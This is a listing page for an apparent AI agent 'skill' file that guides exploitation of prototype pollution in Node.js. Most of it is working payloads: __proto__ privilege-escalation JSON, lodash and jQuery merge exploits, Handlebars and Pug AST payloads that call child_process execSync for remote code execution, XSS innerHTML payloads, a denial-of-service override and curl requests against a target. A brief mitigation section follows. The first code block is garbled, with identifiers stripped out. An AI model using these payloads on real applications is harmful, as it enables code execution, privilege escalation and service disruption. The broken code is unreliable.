nodejs-prototype-pollution-pentest

How to identify and exploit prototype pollution vulnerabilities in Node.js applications. Use this skill whenever the user mentions prototype pollution, __proto__, Object.prototype, JavaScript prototype attacks, Node.js deserialization vulnerabilities, or wants to test for prototype pollution in web applications. Also trigger when users ask about CVE-2019-11358, CVE-2018-3721, CVE-2019-10744, jQuery extend vulnerabilities, lodash prototype pollution, Handlebars/Pug template injection, or any JavaScript object manipulation attacks.

仓库: abelrguezr/hacktricks-skills
最近来源活动: 2026年3月23日 14:29
检测到的 SKILL.md 语言: 英语
星标: 21
分支: 8

安装方式

默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。

检查来源文件

决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。

返回搜索返回安装

name

nodejs-prototype-pollution-pentest

description

How to identify and exploit prototype pollution vulnerabilities in Node.js applications. Use this skill whenever the user mentions prototype pollution, __proto__, Object.prototype, JavaScript prototype attacks, Node.js deserialization vulnerabilities, or wants to test for prototype pollution in web applications. Also trigger when users ask about CVE-2019-11358, CVE-2018-3721, CVE-2019-10744, jQuery extend vulnerabilities, lodash prototype pollution, Handlebars/Pug template injection, or any JavaScript object manipulation attacks.

Node.js Prototype Pollution Pentesting

A comprehensive guide for identifying and exploiting prototype pollution vulnerabilities in Node.js applications.

What is Prototype Pollution?

Prototype pollution is a JavaScript vulnerability where an attacker can modify the Object.prototype or other object prototypes, affecting all objects that inherit from them. This can lead to:

Denial of Service (DoS) - Adding properties that break application logic
Remote Code Execution (RCE) - Injecting code through template engines
Privilege Escalation - Setting admin: true on all user objects
Cross-Site Scripting (XSS) - Polluting HTML element properties

When to Use This Skill

Use this skill when:

Testing Node.js applications for prototype pollution
Analyzing deserialization vulnerabilities
Investigating jQuery, lodash, or other library vulnerabilities
Testing template engines (Handlebars, Pug, EJS)
Reviewing code that uses recursive merge functions
Analyzing JSON input handling

Quick Reference: Attack Vectors

1. Direct Object.prototype Pollution

// Pollute Object.prototype directly
.. = 
.. =  { () }


.({}, { : { :  } })


({})... =

// Pollute specific constructor
Vehicle.prototype.beep = function() { console.log("beep") }

// Via constructor.prototype
example.constructor.prototype.greet = function() { console.log("hello") }

// Pollute array by index
a = []
a.constructor.prototype[1] = "yolo"
b = []
console.log(b[1]) // "yolo"

// Pollute innerHTML
settings[root][innerHTML] = "<svg onload=alert(1)>"

// Pollute ownerDocument to prevent overwrites
settings[root][ownerDocument][body][innerHTML] = "<svg onload=alert(document.domain)>"

// Vulnerable code
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // true

// Test payload
{
  "__proto__": {
    "isAdmin": true,
    "devMode": true
  }
}

// Vulnerable in versions < 4.17.11
_.merge({}, { __proto__: { admin: true } })
_.defaults({}, { __proto__: { admin: true } })
_.assign({}, { __proto__: { admin: true } })

// Test payload
{
  "__proto__": {
    "admin": true,
    "role": "administrator"
  }
}

// AST-based pollution for RCE
Object.prototype.type = "Program"
Object.prototype.body = [
  {
    type: "MustacheStatement",
    path: 0,
    params: [
      {
        type: "NumberLiteral",
        value: "console.log(process.mainModule.require('child_process').execSync('id').toString())"
      }
    ],
    loc: { start: 0, end: 0 }
  }
]

// HTTP payload
{
  "__proto__.type": "Program",
  "__proto__.body": [{
    "type": "MustacheStatement",
    "path": 0,
    "params": [{
      "type": "NumberLiteral",
      "value": "process.mainModule.require('child_process').execSync('id')"
    }],
    "loc": { "start": 0, "end": 0 }
  }]
}

// AST-based pollution for RCE
{
  "__proto__.block": {
    "type": "Text",
    "line": "process.mainModule.require('child_process').execSync('id')"
  }
}

// Recursive merge functions
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      target[key] = merge(target[key] || {}, source[key])
    } else {
      target[key] = source[key]
    }
  }
  return target
}

// Object.assign with __proto__
Object.assign({}, userInput)

// JSON.parse without validation
const data = JSON.parse(request.body)

// Check if __proto__ is accessible
console.log({}.__proto__)

// Check if Object.prototype can be modified
Object.prototype.test = true
console.log({}.test) // true = vulnerable

// Test various payload formats
{
  "__proto__": { "isAdmin": true }
}
{
  "constructor": { "prototype": { "isAdmin": true } }
}
{
  "__proto__": { "toString": "polluted" }
}

# Test basic prototype pollution
curl -X POST http://target/api/endpoint \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"isAdmin":true}}'

# Test constructor pollution
curl -X POST http://target/api/endpoint \
  -H "Content-Type: application/json" \
  -d '{"constructor":{"prototype":{"isAdmin":true}}}'

# Test with different encodings
curl -X POST http://target/api/endpoint \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"isAdmin":true}}'

// Check if pollution worked
console.log({}.isAdmin) // Should be true if polluted

// Check for side effects
console.log({}.toString) // Should be function if not polluted

// Privilege escalation
Object.prototype.isAdmin = true
Object.prototype.role = "admin"

// DoS
Object.prototype.toString = () => { throw new Error("DoS") }

// RCE via template engines
Object.prototype.type = "Program"
Object.prototype.body = [{
  type: "MustacheStatement",
  path: 0,
  params: [{
    type: "NumberLiteral",
    value: "require('child_process').execSync('id')"
  }]
}]

Freeze Object.prototype
```
Object.freeze(Object.prototype)
```
Use Object.create(null)
```
const safeObject = Object.create(null)
```

Validate Input

function safeMerge(target, source) {
  for (let key in source) {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
      continue
    }
    if (typeof source[key] === 'object') {
      target[key] = safeMerge(target[key] || {}, source[key])
    } else {
      target[key] = source[key]
    }
  }
  return target
}

Use Map instead of Object

const data = new Map()
data.set('key', 'value')

Update Libraries
- lodash >= 4.17.11
- jQuery >= 3.4.0
- flat >= 3.0.0